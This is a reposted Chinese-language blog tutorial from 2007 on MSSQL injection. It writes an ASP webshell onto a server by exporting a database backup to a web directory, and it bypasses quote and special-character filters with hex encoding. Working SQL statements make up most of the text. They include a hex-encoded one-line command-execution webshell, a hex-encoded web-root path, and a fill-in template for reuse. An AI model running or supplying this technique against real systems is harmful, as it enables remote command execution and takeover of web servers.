Mssql Backup a Shell 突破特殊字元(轉)

ba發表於2007-08-11
Mssql Backup a Shell 突破特殊字元(轉)[@more@]1.插入資料

mssql注射使用Backup或makewebtask得到webshell,在寫入webshell程式碼時,如果過濾了一些特殊字元,如" '等。我們先mssql分析器裡“查詢”:

use pubs; <===使用資料哭pubs

create table cmd (str image); <===建立個表cmd 一個屬性為image的列

insert into cmd (str) values ('') <===插入資料為

select * from cmd; <===查詢輸出cmd裡的所有資料

查詢輸出str為:

0x3C256578656375746520726571756573742822636D642229262222253E

我們不管插入str什麼資料,在資料庫裡會自動轉為hex編碼,那麼我們可以直接在上面的sql語句裡insert into 的資料改為hex編碼:

use pubs

create table cmd (str image)

insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)

select * from cmd

查詢輸出str為:

0x3C256578656375746520726571756573742822636D642229262222253E

為什麼2種方法得到的結果一樣,但是第2種方法裡插入的資料,就沒有' " &等等。

2.匯出路徑

常規的插入資料後匯出webshell的語句為:

backup database model to disk='g:wwwtestl.asp';

顯然匯出路徑裡包涵了' : 等,我們照樣可以使用hex編碼來突破:

declare @a sysname

select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370為g:wwwtestl.asp對應的hex程式碼

backup database pubs to disk=@a

執行查詢,可以成功匯出webshell。

3.小結

結合1,2我們可以得到完整的匯出webshell的sql語句格式為:

use model

create table cmd (str image)

insert into cmd(str) values(0x***********)

declare @a sysname select @a=0x********** backup database pubs to disk=@a;

其實使用hex等編碼的方法,在angel的文章〈饒過'(單引號)限制繼續射入〉裡提過,我只是照搬而已,你也可以搬到其他地方去拉:

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617731/viewspace-947493/,如需轉載,請註明出處,否則將追究法律責任。

相關文章